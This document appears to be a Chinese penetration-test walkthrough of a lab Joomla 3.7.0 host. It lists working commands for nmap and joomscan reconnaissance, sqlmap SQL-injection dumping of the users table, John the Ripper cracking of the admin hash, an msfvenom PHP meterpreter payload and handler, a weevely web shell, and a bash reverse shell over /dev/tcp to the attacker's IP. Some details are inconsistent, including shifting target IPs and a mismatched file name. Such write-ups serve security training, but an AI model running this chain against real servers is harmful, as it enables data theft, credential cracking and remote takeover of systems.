信息收集
Nmap扫描
nmap -sS -sV -T4 -p- -O 172.30.1.142//-sS TCP的SYN扫描
//-sV 服务版本检测
//-T4 野蛮的扫描(常用)
//-O 识别操作系统
使用Nmap扫描只看到一个80端口,Apache的2.4.18版本。
http探测
使用Wappalyzer插件可以到这是Joomla的CMS。Joomla!是一套全球知名的内容管理系统(CMS)Joomla的架构基于MVC框架。
JoomScan
介绍一款专门针对Joomla的开源工具JoomScan
JoomScan是一个开源的漏洞扫描器,主要用于自动化检测Joomla CMS的安全漏洞,以增强Joomla CMS开发的安全性。
用法很简单 joomscan 选项 我们可以直接joomscan -u 目标主机
joomscan -u 172.30.1.142
通过扫描我们看到这是Joomla 3.7.0的版本,找到了一个网站管理后台。
漏洞探测及利用
我们可以看看这个Joomla 3.7.0有没有公开漏洞
Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers
第三个就是Joomla 3.7.0b版本SQL注入的漏洞
SQL注入
什么是SQL注入呢?
SQL注入漏洞:
SQL注入攻击指的是通过构建特殊的SQL输入语句,传入Web应用程序,而这些输入大都是SQL语法里的一些组合,
通过执行SQL语句而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
我们可以进去看看这个漏洞
这里直接是可以看到sqlmap的执行语句,我们可以直接复制,改为目标主机的IP地址就可以。
sqlmap -u "http://172.30.1.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
我们看到这个数据库中有个joomladb的数据库
sqlmap -u "http://172.30.1.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
我们应该关注users这个表中的数据
sqlmap -u "http://172.30.1.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]
现在我们看到了中的字段,我们再对字段中的数据进行查询
sqlmap -u "http://172.30.1.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C username,password --dump -p list[fullordering]
我们现在看到了后台管理员用户名还有一段加密的密码。
看一下这段密文是什么加密算法
hashid '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu'
解密
John the Ripper是一款开源密码安全审计和密码恢复工具,可用于许多操作系统。
我们使用款开工具进行解密,操作方法。
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > pass.txtjohn passwd.txt
先把我们的密文写入一个txt文件中,直接使用john进行破解。
我们已经得到了管理员的后台登录地址,也拿到了用户名和密码。
管理后台:http://172.30.1.142/administrator/
用户名和密码:admin:snoopy
成功登录到后台,这时候的思路就是通过木马上传拿到shell
木马上传
创建木马
方法1:msfvenom
msfvenom -p php/meterpreter/reverse_tcp lhost-192.168.195.77 lport=4444 -f raw -o webshell3.php
在模板里新建PHP文件类型,文件名为webshell3
msf> use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 172.30.1.142
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
访问一下我们上传的木马路径
http://192.168.195.138/templates/beez3/webshell3.php
这样我们就成功拿到shell
方法2:weevely
root@kali3:~# weevely generate xiaofeixia webshell.php
generate Generate new agent 生成一个代理(木马程序)
weevely http://192.168.195.138/templates/beez3/webshell.php xiaofeixia
成功连上拿到shell
Kali端运行:
nc -lvp 2266
weevely用户端 bash -c 'bash -i >& /dev/tcp/192.168.195.77/2266 0>&1' //获得一个交互式shell